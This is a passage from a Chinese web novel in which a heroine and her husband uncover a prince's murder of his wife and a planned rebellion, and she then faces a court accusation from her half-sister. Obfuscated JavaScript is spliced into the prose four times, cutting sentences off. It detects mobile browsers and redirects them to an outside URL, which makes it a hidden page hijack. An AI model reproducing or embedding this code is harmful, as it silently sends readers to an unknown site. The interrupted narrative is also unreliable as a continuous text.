顾清语为了拢住这个“大客户”,可是花了不少心思。 就连传说中只出没于邻国东海一带的鲛人一族的血泪所凝结成的血玲珑,都被她给弄来献给了容贵妃。 在她的精心维护之下,荣贵妃早已与她相交不浅。 只是她一直将此事藏得极深。 作为她在大越最有力的人脉,荣贵妃就是她最后一张保命符,轻易不会示人。 如今,虽未到生死关头,可是王妃命悬一线,这隐藏已久的人脉她也不得不用了。 在那张荣贵妃亲笔写下的邀请名单里,喻亲王妃排在第一位。 有荣贵妃的亲印为证,王府的守卫也不敢再阻拦,只能将顾清语请进了府内。 好不容易进了王府,她却只被安排在正厅等候。 守卫说要先行通报,却是去了良久也未回来。 顾清语坐在偌大的王府正厅内,除了摇曳不明的烛火外,一个人影也没有。 随着时间的流逝,她的心里是越来越慌。 内心深处的警惕让她逐渐嗅到了危险的气息。 不行,不能再继续呆下去! 她起身欲走,却在转身的瞬间,看到内堂处走来一个熟悉的身影。 是喻亲王! 他毫无情绪的走到正厅中间,在见到顾清语后露出了公式化的笑容。 “言夫人,久等了。” 顾清语定了定心神,向喻亲王行了见面礼后,故作镇定道:“叨扰王爷了!我是来给王妃送请帖的,守卫怎把您给请了出来,还烦请王爷告知王妃一声可好?” 王爷意味不明的笑了笑:“无碍。她早已睡下,请帖给我就好。” 这才刚刚入夜,王妃就睡下了? 定有可疑。 顾清语仍旧没有放弃,继续试探道:“王爷,您作为我夫君的恩人,对我夫妇二人意义非凡,周年庆那日我们夫妇两想邀请您与王妃一同剪彩,有些细节需与您二位亲自沟通,能烦请王妃出来一同商议吗?” 喻亲王似乎早有准备,自如道:“实不相瞒,内子近日身体不适,恐未能如你所愿了。” 然而,顾清语对此早有准备,他如此回答却是正中下怀。 “王妃怎么了?我自小习得一些医术,若王爷不弃,可否让我为王妃诊治诊治?” “不必,我已为她请了宫中御医,我想,言夫人的医术不能比御医更加精湛吧?” “当然,民女怎敢与御医相提并论,不过正好懂得一些偏方,说不定对奇难杂症会有些作用,王爷,您说呢?” “我说,不必了。你听得懂吗?” 说罢,喻亲王本就阴鸷的双眼,变得越渐危险起来。 33.博弈 喻亲王眯起双眼,脸色越来越沉。 明明没有一句威胁的言语,却似乎在周围竖起了万重屏障,既让人无法翻越,还压得人透不过气来。 此刻,顾清语的内心已然开始翻涌起恐惧、退缩、软弱等各种情绪。 可是她始终强装镇定,望着喻亲王的眼里没有丝毫波澜。 两人间的博弈,没有一句多余的言语,只靠双眼中的情绪在交战。 只看到最后究竟谁会败下阵来。 随着二人的僵持,室内温度骤降,仿佛一瞬间降到了冰点。 不知道过了多久,眼见着喻亲王似要开口,顾清语握紧了藏在袖口里的小刀。 剑拔弩张之际,一个熟悉的男声响起。 “属下参见王爷!” 言正廷?! 他怎么进来了? 不是说好在王府外面接应我吗? 顾清语悄悄擦去额头上刚冒出来的细密汗珠,满眼疑惑的瞪着来人。 而一旁的喻亲王似乎也微微吐出一口浊气。 故作轻松道:“你夫人这才刚到一会儿,你又跟着进来,是不放心夫人单独来我这儿吗?” 言正廷毕恭毕敬地回答:“禀王爷,夫人来王爷府上我是一万个放心,就是生怕叨扰了王爷。而且我这次来,是有要事禀报,并非来接夫人的。” 要事?今晚的要事不就是打探王妃的生死吗? 言正廷怎么会突然又有了别的要事? 顾清语正在疑惑,却见言正廷从怀中掏出一卷书函呈上,正经道:“王爷,边关战事吃紧,陛下有要事与您商讨。” 趁着喻亲王接过书函展开之时,他赶紧向顾清语使了个眼色。 顾清语立刻心领神会。 “王爷,既然您有要事,那民妇就先行告辞了。” “嗯。” 喻亲王并没有过多纠缠,顺势挥了挥手,让顾清语先退下了。 顾清语微微欠身行礼后,缓缓退出了正厅。 她神色如常的移步出了王府,却在刚踏出王府大门后,就险些站不稳。 阿砚一直等在门外,见自家小姐出来后神色不对,赶紧迎了上去。 还好她眼疾手快扶住了小姐,不然小姐就真的要摔倒了。 “小姐!你怎么了?” “无碍。回去再说。” 阿砚跟着顾清语久了,已经变得越来越机敏。 她早就安排好了马车,只等小姐平安出来,就立马上车回府。 坐进马车后的顾清语,有种劫后余生的错觉。 明明刚才喻亲王什么也没说,什么也没做,可那种异于常人的压迫感,却让她几乎当场破防。 还好多年的商战经验让她心理素质过硬,不然,早就在刚才的博弈中败下阵来。 一旦她方才表露出半点退缩之意,那他与言正廷所有的筹谋必将败露无疑。 顾清语在心里默默骂了句脏话。 自她来到大越后,经历了那么多的坎坷与波折,也不曾击垮她的心里防线,这还是第一次真情实意的想要对一个反派大骂脏话。 这喻亲王,实在难以对付! 回府后,顾清语依然坐立难安。 她不知道言正廷从哪里得到的紧急军情,这军情中有几分真假。 他们究竟会不会被喻亲王识破。 这一切,在言正廷回来前都是未知。 然而,她最担心的,却是言正廷究竟能不能平安归来。 说好不连累他的,最后却还是要让他为自己收拾烂摊子! 一想到此,顾清语就忍不住气自己不争气,沉不住气。 她将茶杯狠狠地扣在茶盘之上,却因为用力过猛,直接砸碎了茶杯。 随着茶杯碎片四散开来,她的手心也被划出了鲜血。 看着那血一滴一滴的滴落在地,顾清语心中涌起了一股不好的预感。 不行,她要回去找言正廷! 顾不上处理手心的伤口,她急切地冲向门口。 不能再等了! 万一言正廷真的出了什么事,她也活不成了。 刚打开府门,就与正欲开门的言正廷撞了个满怀。 见来人安然无恙,顾清语再也绷不住了,一下就扑进了言正廷怀中。 紧紧抱住他,任凭他怎么安抚,也不愿意放手。 言正廷察觉到了顾清语的情绪,知道她这是担心自己。 心疼之外,又难掩一丝得意。 他的夫人,终于知道紧张他了! 他抱着顾清语回到屋内,刚想加以安抚,却瞥见了她手中的血迹。 言正廷眼神一滞,周身立刻散发出危险的气息。 他以为顾清语遇到了危险。 敢伤害他的心尖尖儿,他就是豁出这条命,也绝不放过! 顾清语看出他误会了,赶紧解释道:“你别紧张,我刚才只是不小心弄碎了茶杯,所以……” 呼—— 还好。 言正廷长纾一口气。 他轻轻地拿过她受伤的手,小心翼翼地擦拭干净血迹,轻手轻脚地为她上药包扎,生怕把她弄疼了。 其实顾清语并不是如此较弱之人,这点小伤,她也并不在意。 她在意的,是言正廷是否会有生命危险。 要不怎么说言正廷是最懂她的人呢? 她还一句话未曾问出口,言正廷就边为她包扎,边开了口。 “我知道你想问什么,他没有为难我,只是一再试探,你今日之举究竟意欲何为。” “那你怎么说?” “如实相告啊!夫人与王妃一见如故,相谈甚欢。恰逢商会周年庆,又许久未见王妃,夫人不过是担心她生了病,若王妃安好便想邀她一同参与周年庆而已。” “那紧急军情又是怎么回事?” “军情是真的,书函也是真的,不过没有那么紧急罢了。这些,不过是我留的后手,以备不时之需去接应你,没想到还真的派上了用场。” “你怎么知道我在里面会有危险,需要你接应?” “你的性子我还不知道吗?聪慧有余,却不够沉稳。” “这么说,你是早就计算好了我一个人搞不定,假装让我自己去处理,只是为了哄我开心?” 言正廷手下动作一滞,忽的发现自己说错了话。 赶紧立马换上一副讨好的嘴脸,谄媚道:“当然不是!这世上就没有我夫人处理不了的难题,我不过是在一旁打下手罢了。” “少来!” 顾清语佯装生气打开了言正廷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言正廷拼命点头:“对!夫人你想怎么做?” “我还不知道。喻亲王铁了心要隐瞒,我们也毫无办法,可他瞒得了一时,瞒不住一世,总有真相大白那一天,我想我们要做的,就是让那一天尽快到来。” 看见自家夫人再次振作起来,言正廷总算松了口气。 只要她还有继续撑下去的意志,那他就陪她疯到底,哪怕粉身碎骨又如何? 言正廷顿了顿,道:“今日我与喻亲王商讨军情时,看他的神色,不像是对我们有所怀疑,所以我推断,他与王妃之间,应当是发生了一些冲突,才导致他不得不将王妃灭口,而王妃又掌握了与他相关的重要情报,所以他为避免王妃的死会引发连锁反应,才刻意将其毁容,隐瞒死因。” 言正廷说得有道理,可喻亲王为何又要丢弃王妃的尸首呢? 她问出了心中的疑虑。 言正廷思考很久之后,才得出一个大致的推断:他想找人替代王妃,就像他们之前一直在做的事一样。 34.丧仪 王妃的死亡,带给顾清语的冲击不可谓不小,但更多的,是让她幡然清醒。 自她穿来大越起,虽一路坎坷艰辛,但到底最后也是胜利者。 想挣的钱都挣到了,想管的事都管妥了,想爱的人也顺利嫁了。 这不长不短的一年里,她从一个落魄小姐,到嫁了纨绔,再到当上京中首富,几乎没有她做不到的事。 她便自以为,所有事都能如愿以偿,所有想救的人都能逃出生天。 可王妃的事,不仅狠狠给了她迎头一击,更让她终于明白: 不是所有她想做的事都能做到的。 她甚至自责的认为,是自己害死了王妃。 连日来,她开始茶不思、饭不想。 平日里颇多主意也很有主见的人,如今却沉默寡言,对任何事都开始畏首畏尾起来。 言正廷很是担心顾清语的状态。 他特地叫了十一娘和清檀来多陪陪她,开解她,却仍旧于事无补。 直到这天,喻亲王骤然对外宣称,王妃病逝。 他终于遮掩不住了。 言正廷与顾清语夫妇受邀前去吊唁。 在去之前,顾清语特地去了趟义庄。 王妃那早已看不清容貌的尸首,就静静地躺在那冰冷的棺椁里。 别说属于自己的身份与姓名,甚至连一件像样、完整的衣衫都没有。 顾清语静静的立在一旁,看着眼前已然开始腐败,长出尸斑的王妃。 除了看着以外,她竟不知自己还能做些什么。 只有眼泪,默默地向眼前这个可怜人诉说着自己的抱歉与难过。 许久,言正廷才轻轻搂过她的肩,柔声安慰:“好了,我们该走了。” 顾清语揉了揉有些酸胀的眼,无力道:“我们就这样走了吗?” 一语双关,言正廷又怎会听不出她的话中之意。 只是眼下,他们的确没有更好的办法,但他却不能给顾清语一个假希望,他只能说:“我们只是暂时离开,总有一天会回到这里,为她讨回一个公道。” 半晌,顾清语才点了点头,不忍心看着王妃就这样呆在义庄里日渐腐败,她交代了清檀,无论如何也要想尽办法保存完好王妃的尸身。 整理好情绪之后,二人终是来到了喻亲王府门前。 言正廷害怕顾清语冲动,控住不住自己的情绪,紧紧握住她的手,再三叮嘱她一定要冷静,若此时露了马脚,那王妃才是真的白白牺牲了。 顾清语也深谙此事绝对不能暴露,虽然她无法装作无知的模样,但她的悲伤倒全都是真的。 喻亲王将王妃的丧仪办得很是体面,达官显赫来了一波又一波。 明明是令人悲伤惋惜的葬礼,愣是被他办成了一次与权贵交好的社交聚会。 二人向王爷表达了对王妃的惋惜之后,表示想去瞻仰王妃的遗容,却遭到了拒绝。 据喻亲王所言,王妃所患的是会传染的急症,太医也交代为恐顽疾再次散播,万万不得靠近尸首。 这一番说辞,对言正廷夫妇来说,即是情理之中,又是意料之外。 他们以为喻亲王既然将王妃的死昭告天下,按照他们先前的推测,应是找到了那替代之人。 未承想,喻亲王拒绝了瞻仰遗容的请求,看来,他们猜错了。 想必,那呈在王府之中的棺椁里,应该是空无一人。 虽不知是怎样的变故促使喻亲王不得不改变计划,但从喻亲王促狭的神色里,不难看出他应当是经历了一些不为人知的波折。 夫妇二人并未在王府逗留太久。 言正廷去向喻亲王告辞,顾清语并未一同前去。 他解释道:“夫人一向与王妃交好,骤然得知死讯实在难以接受,如今悲伤过度,恐身体难以承受。” 喻亲王向顾清语站的地方望去。 只见她望向灵堂的方向,一袭白衣在风中摇摇欲坠,来往的人群匆匆忙忙,她却只是立在那里,单薄的背影仿佛独立在世界之外。 转过身来,昔日那张明艳无双的脸上,之剩下苍白的空洞,一双通红的眼和毫无血色的唇,无声地告诉了所有人,她失去了极为重要之人。 她的悲伤是真真切切的。 喻亲王不好再说什么,便让言正廷带着顾清语早些回去休养。 他知道顾清语与王妃交好,没想到却好到这种程度。 他又何尝不怕,顾清语若是突然发起疯来,非要看王妃最后一眼,那他可就麻烦了。 二人走后,喻亲王继续把葬礼当成了他的交际场,与前来吊唁的宾客你来我往,好不匆忙。 “狗男人!” 顾清语上了马车后,终于忍不住咒骂起来。 “人走茶凉便也罢了,还要用她的葬礼来为自己作秀,不榨干她最后一丝剩余价值不罢休,这种狗男人,就算老天爷不收他,我也绝对不会让他好过!” “夫人冷静一些,人在做天在看,即使天不看,有些事我们也已经在做了。” 言正廷小声安慰,想要牵过顾清语的手让她冷静一些,没想到她现在却在气头上,一把将他的手打开,连他也一并骂道:“男人都不是好东西!” 言正廷:“……” 我这是招谁惹谁了? 莫名被连坐之后,言正廷一路小心翼翼不敢再多言,只在下马车时,像往常一样想要伸手去接顾清语,顾清语却看也不看,气鼓鼓地跳下马车,一个人进房后就把自己关在了房里,任谁去喊也不理。 “我做错什么了?” 言正廷不知所以,刚想上前问个明白,却被阿砚给拦下了:“姑爷,长点心吧!小姐正在气头上,现在全天下的男人都招他讨厌,谁去谁倒霉,这么久了您还看不明白吗?” 说罢,摇头晃脑地就跟进了屋,临关门前,还狠狠地瞪了言正廷一眼。 言正廷:“……” 现在连一个丫鬟也敢如此对他,也太不把他这个“一家之主”放在眼里了! 可是…… 他又能怎样呢? 除了委屈巴巴的睡了几天书房外,他什么也做不了。 或者说,他什么也不敢做。 三天后,顾清语终于打开了房门。 言正廷想要上前去迎,却又怕被顾清语嫌弃,堂堂七尺男儿却瑟缩在一旁的模样,真真是又憋屈又好笑。 就在他不知如何是好时,顾清语却率先一步上前拉住了他的手,不好意思道:“夫君,前几日我有些烦闷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612387|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉拿你来出气了,你可以原谅我吗?” 言正廷怔愣住了。 他一时还没从前几日被骂是狗男人的悲惨中挣脱出来,不知该如何反应。 顾清语见他不语,却以为他还在生气,于是主动上前献吻后,一头钻进他怀里撒娇道:“夫君~~你还在生气吗?你就不能原谅人家吗?” 言正廷:“……” 这又唱的是哪出啊? 半晌他才反应过来,“没,没生气。”结结巴巴道:“只要夫人高兴就好。” 顾清语听他说没生气,便又蹦又跳地拉着他去偏厅用早膳。 女人心,海底针啊! 看着饭桌上胃口大开的顾清语,言正廷试探道:“夫人你……不难过了?” “难过啊,可是我想通了。”顾清语边吃边说:“难过只能放在心里,毕竟日子还要继续,更何况,我们还有更加要紧的事要做,不是吗?” 言正廷一听这话,瞬间心下一紧。 她又想做什么?! “夫人,你听我说,目前的情况确实不适宜……” “我知道!”不等言正廷说完,顾清语就开口打断:“你想说,目前做什么都不合时宜,韬光养晦多多挣钱才是眼下当做的事,对不对?” “夫人明白就好。” “我想清楚了,逝者已矣,而喻亲王又是颗盘根错节的大树,不是一朝一夕就能扳倒的。眼下我们继续做之前正在做的事,等到有足够证据的那日,就是他倒下之日。” 看着自家夫人终于缓过劲来,言正廷激动地赶紧为她盛饭夹菜,希望她可以早日淡去王妃一事对她带来的伤痛。 待吃完这顿饭后,他才说会处理好王妃的尸首。 “不,我来处理。”顾清语不容置疑道。 言正廷有些吃惊,却见顾清语头也不抬,依旧猛猛炫饭,倒也看不出什么情绪,便应了下来。 用完早膳后,言正廷如往常一样入宫就职,顾清语送他到门口,满脸堆笑地向他道别。 他总觉得好像有什么地方不太对劲,可又说不上来。 他一直希望顾清语能早日走出阴霾,如今她做到了,他却隐隐有些不安。 走出几步后,回头发现顾清语仍在门口目送他,他顿了顿,又转头回去,一把将顾清语紧紧抱进怀里,声音有些不安:“清语,答应我千万别乱来。” “知道啦!”顾清语笑着拍拍他的背,“我都说了我想明白了,放心吧!” 言正廷点了点头,虽然还是有些不确定…… 顾清语始终微笑着,送言正廷上了马车,望着他消失在转角后,她终于收起了笑容。 “叫清檀过来一趟。”她转头对阿砚道:“还有暗鹰。” 刚才还笑意盈盈的眼里,此刻却盛满了杀意。 阿砚何曾见过自家小姐这幅模样,禁不住问道:“小姐,你怎么了?” 顾清语没有回答,只是默默望着远方,从未有过的阴鸷与狠厉在那双漂亮的桃花眼里,显得有些格格不入。 而她所望的方向,正是喻亲王府。 待清檀来了之后,她才开口问道:“有结果了吗?” “有了。”清檀的声音有些颤抖,“姐姐,果然如你所料。” 35.证据 在顾清语闭门不出的这些日子里,她不仅仅是在为自己的无能为力而懊恼,更是在想办法破解这看似无法挽回的僵局。 这些天以来,她一直在想一个问题。 如果喻亲王单纯想要除掉王妃,大可以保存她的尸首正常出殡,也没人敢多加置喙。 可他为何偏偏选择了弃尸?并且还要将王妃容貌全毁? 按照他们先前的猜测,一定是王妃掌握了喻亲王某项致命的罪证,可是即便付出了性命,她也没有将证据交给喻亲王。 找不到王妃身上的证据,喻亲王恼羞成怒,干脆一不做二不休,不仅杀了王妃,更想要将她付之一炬。 只是到了最后,真正执行此事之人不知道出了什么岔子,只是烧毁了王妃的容貌,且将她弃尸荒野。 也是恰好,顾清语正在寻找也王妃体貌相似的尸首,才让他们阴差阳错的找到了真正的王妃。 冥冥中,一切似乎早有安排。 老天爷始终不愿让坏人逍遥法外。 顾清语苦思良久,王妃手握的证据究竟在哪里? 当她在丧仪上见到王妃灵位的那一刻,她突然福至心灵般有了一个大胆的猜测——证据会不会藏在王妃身体里? 有了这个猜想以后,顾清语反而更加纠结了。 毕竟死者为大,王妃已经遭遇了毁容的重创,若在没有万全把握之下就解剖了她的尸体,无疑会对她造成二次伤害。 所以这些天,顾清语关起房门,一直在默默纠结着到底要不要剖开王妃的尸体。 她不想把自己的猜测告诉言正廷,不是害怕他会反对,而是在没有确凿证据之前,不愿让他再为此事分心。 最终,想要为王妃真正讨回公道的决心战胜了一切。 她让阿砚将自己的猜测和计划转达给了清檀,让清檀与仵作共同完成了解剖之事。 趁着今天言正廷入宫面圣之机,她赶紧叫来了清檀一问究竟。 没想到,竟真的被她猜对了。 “姐姐,仵作在王妃的身体里发现了这个。”清檀缓缓地上了一包皱皱巴巴,用油纸包裹住的东西,“东西是在食道里发现的,相信王妃应是刚刚吞下不久就遇害了,所以一直未曾被消化。” 顾清语接过清檀递过来的纸包,最外面那层油纸已经有些腐烂了。 为避免破坏证据,她打开油纸的动作极轻。 可就在她好不容易剥开了第一层油纸后,发现里面竟然还有一层油纸。 二人不禁为王妃的细腻而叹惋。 要怎样的绝望才能让人拥有如此大的决心,生生去吞下这一层又一层油纸包裹的东西。 又是怎样的信任,才能让她坚信这份证据一定会被某一人找到。 我一定会替你讨回公道! 顾清语一边在心中暗暗发誓,一边缓缓展开了最后一层油纸。 油纸展开来,里面躺着一个小小的竹筒。 这是绑在信鸽脚上用来传信的竹筒。 顾清语小心翼翼地打开竹筒,拿出了里面的信笺。 里面只有简简单单的八个字: 兵粮已全,万事皆具。 正月初八,西出贤门。 落款处盖着一枚小小的印章,印章上,只有一个“衍”字。 喻亲王的名讳,正是成衍。 邻国大齐就在大越西边的贤门关外,也是之前言正廷所打探出喻亲王私藏军械的所在。 看来,喻亲王兵马粮草都已准备妥当,在正月初八,便会发动叛乱。 有了这封密函,再加上言正廷前期搜集到的证据,已经完全能够定下喻亲王谋反之罪了。 难怪,王妃拼死也要保下这封密函。 难怪,喻亲王为了找到这罪证不惜杀人焚尸。 可为何喻亲王偏偏选在正月初八发动叛乱? 她特地去翻了黄历,发现正月初八只是一个普通的日子,并没有什么特别之处。 顾清语又叫了暗鹰前去打探,朝中正月初八是否有要事发生。 在尚未确定所有事情的准确性之前,她绝不能贸然行动。 待暗鹰和清檀都离开后,她小心翼翼地将这封密函藏在了妆台地暗格里。 那暗格里曾经藏着碧云玺,除了她之外,就连言正廷也不知道暗格所在。 暂时应该还算安全。 既然有了这份证据,接下来要做的,就是耐心等待时机了。 傍晚,言正廷才迟迟归来。 顾清语高兴地迎上去,想要顺便探听一下喻亲王那边的动向。 可她很快便发现,言正廷有些不对劲。 往常,言正廷回府后第一件事,一定是来找顾清语亲亲抱抱。 可是今日,不仅沉默寡言,神色还有些许凝重。 “夫君,你怎么了?”顾清语关切的问到。 “我……无碍,只是有些累了。”言正廷有些吞吞吐吐。 顾清语还想再问,言正廷却不愿意多说。 只借口说自己今天很累,想早些休息,连晚膳也没用,就自己回了书房。 顾清语看着他的背影,知道肯定有要事发生。 只是他不愿意说,她也不想逼迫。 她又让阿砚招来了暗鹰去一探究竟。 没多久,暗鹰就来报,原来是朝堂上出了岔子。 自言正廷和顾清语被言父赶出侯府以后,二人一直自给自足,并未沾染侯府半分。 后来阴差阳错之下,言正廷表面假意投靠了喻亲王。 言父一直对此事颇为介意,自己的儿子被扫地出门后转身投靠了别人,让他面子上过不去,他便想方设法在朝堂上刁难言正廷。 这一次,言父甚至带着言兄二人一起弹劾言正廷。 说他纵容家中妻室在外欺行霸市、垄断商贾,还与城中地痞流氓勾结打压百姓。 甚至不知道从哪里弄来了一封联名上书,要罢黜言正廷好不容易得来的户部侍郎一职。 顾清语一听,立马气不打一处来。 这言家父子,平日里对言正廷一个是不管不问,一个是打压欺凌。 好不容易他如今有了点成绩,却要想方设法的将他拉下马。 既然他们不把言正廷当一家人,那就别怪她不客气。 顾清语早就料到言正廷入朝为官后,言家父子俩定不会让他好过。 所以早就让暗鹰收集好了言正铠在军营里蝇营狗苟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实,他昨日的沉闷并非因为父兄的弹劾。 他早已习惯了被厌弃、被压榨的日子。 之所以犯愁,是因为言正铠找到了一个人,一个或许会对他们不利的人。 他不过是想保护她,而她也是想维护他。 两个真心付出的人,却因为其中一人总是不愿把话说明而产生了误会。 这几日,顾清语都拗着不肯搭理言正廷。 直到暗鹰为她传来了消息: “言正铠找来了一个人,说要揭发你的罪证。” “谁?我有什么罪证可揭发的?” “那人说,你根本不是真正的顾雨漫。” 顾清语愣住了。 她本来就不是顾雨漫,顾雨漫的灵魂已经消散了,她才能穿到这里。 可是,谁会知道这件事呢? 她急切地问道:“你说的那人究竟是何人?” 暗鹰:“是你妹妹,顾雨欢。” 36.冤家 顾雨欢? 在他们清理顾家时,被侥幸逃脱的二姨娘的女儿? 这个名字,几乎已经快要从她的记忆里完全淡去了。 自她来到大越,这个人并没有什么太强的存在感。 虽然也会同二姨娘一起来找找她的麻烦,可是威胁并不大,只是个为虎作伥的伥鬼罢了。 那日她与二姨娘卷款潜逃,二姨娘被他们抓了回来,却让她给跑掉了。 她一直以为这个人这辈子都不会在她眼前出现了,没想到如今,却再次站在了她的对立面。 她努力搜寻着原主的记忆里关于这位顾雨欢的一切。 这才发现,也许此人并非她想象中如此简单,她极有可能,放走了一只躲在暗处的豺狼。 原主年幼时,曾遭遇过几次意外。 被马蜂蛰、被野狗追赶的时候,不远处都有顾雨欢笑得前仰后合的身影。 她本以为这只是顽劣孩童的恶作剧。 可是有一段记忆,却引起了顾清语的注意。 那是原主13岁时,她一个人偷偷去祭拜自己的娘亲。 却在回府的路上遭遇一群劫匪,那群劫匪不止想要劫财,甚至想要劫色。 他们把原主拉入了一处黑暗的巷子里意图不轨。 幸而遇到巡逻到此处的官兵,原主才逃过一劫。 那时的原主才13岁,还是个小女孩,就遭遇了这样的事,想必对原主造成了极大的伤害,所以那时劫匪说的话还深深印在原主的脑海里,记忆非常清晰。 其中一个劫匪说:“那小妞果然没骗老子,长得水灵灵的,一看就惹人怜爱。” 另一个劫匪对原主道:“要怪就怪你自己命不好,得罪了富贵人家算你倒霉!” 那时的原主已经被吓傻了,根本来不及深究这两句话里的深意。 如今放到现在,在顾清语看来,这事根本就是有人买凶,故意要害原主。 结合劫匪话里的信息来看,买通他们的人应该也是个小女孩,还是个有钱人家的小女孩。 原主自小孤苦无依,性格又颇为懦弱。 别说得罪了谁,就连顾府大门都没怎么出过。 真要论起得罪,那唯一的仇人也就是二姨娘和她的子女了。 顾雨欢比原主小3岁,事发之时她才10岁。 10岁就已经会买凶害人,甚至是想害人清白,可见心思也是极为歹毒了。 “什么不好学,偏学你娘当毒妇!” 顾清语咬牙切齿,在心中恨道。 “当年的顾雨漫软弱无助,只能任你们欺凌,如今还想欺到我头上,便是痴人说梦。” 如今顾雨欢这个心如蛇蝎的心机婊与言正铠这个心狠手辣的绿茶哥竟然混在了一起。 真是好一对……狗男女! 看来他们这次,是铁了心要把她和言正廷往死里整了。 顾清语还在思忖着怎么应对这一对歹毒男女,却突然有衙役找上了门。 “言夫人,有人状告你杀人越货,请跟我们去府衙走一趟吧。” 这就已经开始了? 顾清语没想到对方动作竟如此迅速,可是杀人越货一说实在可笑。 她身正不怕影子斜,虽然言正廷还未回府,她也不怕单独去与她那失散已久的“妹妹”会上一会。 来到府衙,果然见到了失踪多时的顾雨欢。 还未等对方开口,她便率先出击:“妹妹!你去哪儿了?姐姐找了你好久,自父亲与二姨娘离开后,咱们姐妹俩就被迫分离了许久,姐姐好想你!” 说完,就连她自己都觉得有些想吐。 原来当绿茶也不容易啊! 不止要恶心别人,就连自己也挺恶心的。 “呸!少在这儿装好人!”顾雨欢对她的“关心”并不买账,转头就像府衙大人告状:“大人,您别相信她,我母亲就是被她害死的,而且,她根本就不是真正的顾雨漫!” 府衙大人常年受着顾清语的“关照”,对她肯定是有所偏向的。 只是既然有人来告了状,他也不得不摆出个解决问题的姿态来,于是开口问道:“言夫人,可有此事啊?” 他只是例行公事一问,只要顾清语说并无此事,他便会迅速了解此案。 岂料,却听顾清语道:“确有此事。” 府衙大人:“……” 我说大小姐,你这般直白,可就为难我了。 见府衙大人脸色有些不对,顾清语赶紧接话:“现在京城里谁不知道,我早已改名为顾清语,所以我自然不再是顾雨漫了。” 府衙大人脸上露出缓和之色。 还好,还好。可千万别让我为难。 顾雨欢却并不听信她的说辞,开口辩驳:“你少来这套!我说的不是你的名字,而是你这个人!你不是顾雨漫,真正的顾雨漫已经被你杀了!” 顾清语:“……” 还以为有什么高招,原来只是白痴啊。 说她不是顾雨漫可以,可说她杀了顾雨漫就太可笑了。 这具身体,可是百分百的顾雨漫啊! 更何况,杀死顾雨漫的,不正式顾雨欢自己的娘么。 “妹妹,当着府衙大人的面,你不要太过荒谬。”顾雨漫轻笑道,“在嫁入言家之前,我可是一直呆在顾家,若说我杀了顾雨漫,那我是谁啊?” “谁知道你是哪里来的妖魔鬼怪!顾雨漫自小懦弱,连大声说话都不敢,只会躲在房里看书,怎会像你一般,整日在外抛头露面、招蜂引蝶,还搞起了什么营生。顾雨漫不会这些!” “你怎知道我不会?我在房里看书,就是在学习营生之道。再说,人是会变的,难道我不肯再任你们欺凌,不愿再忍辱负重就能说我是换了一个人吗?” 顾清语说罢,府衙大人也跟着频频点头。 见府衙明显偏向顾清语,顾雨欢不得不拿出了她的压箱宝,“好啊,嘴硬是吧?你可以装成她的模样,可是顾雨漫身上有一样东西,是旁人绝对不知晓的。” 哦?原主的记忆我都能随意翻阅,还有我不知道的东西? 顾清语心下冷笑,表面却装出了一副露怯的模样。 顾雨欢看她的样子,以为她即将要露出马脚,瞬间气焰高涨起来:“怎么?害怕了?我看你还怎么嘴犟!” “妹妹,你别这么说。我怎么不知道我自己身上还有什么旁人不知晓的秘密呢?” “顾雨漫幼时被马蜂蛰,她逃跑时摔到了后脑勺,在后脑被头发掩盖住的地方有一处疤痕,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你就什么?你就找人挖了我娘的坟,对吗?” 听到顾清语的话,顾雨欢瞬间呆愣在了原地。 她怎么会知道她当初威胁顾雨漫时说过的话? 她心里清楚,此人绝对不是顾雨漫,她才敢在言正铠找到她时夸下海口,定能让她露出马脚。 可是眼前此人,不仅有和顾雨漫同样的疤痕,甚至还知道她们曾经的对话。 难道,真的顾雨漫,被娘推下河以后就性情大变吗? 这……怎么可能? 一个人十几年的性格与习惯,怎可能说变就变。 究竟是哪里出了问题。 这时,府衙大人开了口:“来人,还不赶紧把这个毒妇给拖出去!小小年纪就如此歹毒,先打二十大板,再扔出去学狗叫!” 说完,斜眼瞥了眼顾清语,见对方神色满意,他也松了口气。 衙役正要将顾雨欢拖下去杖责,却听到有人出声阻拦: “慢着!” 顾清语不用回头也知道,来人正是言正铠。 真是冤家路窄。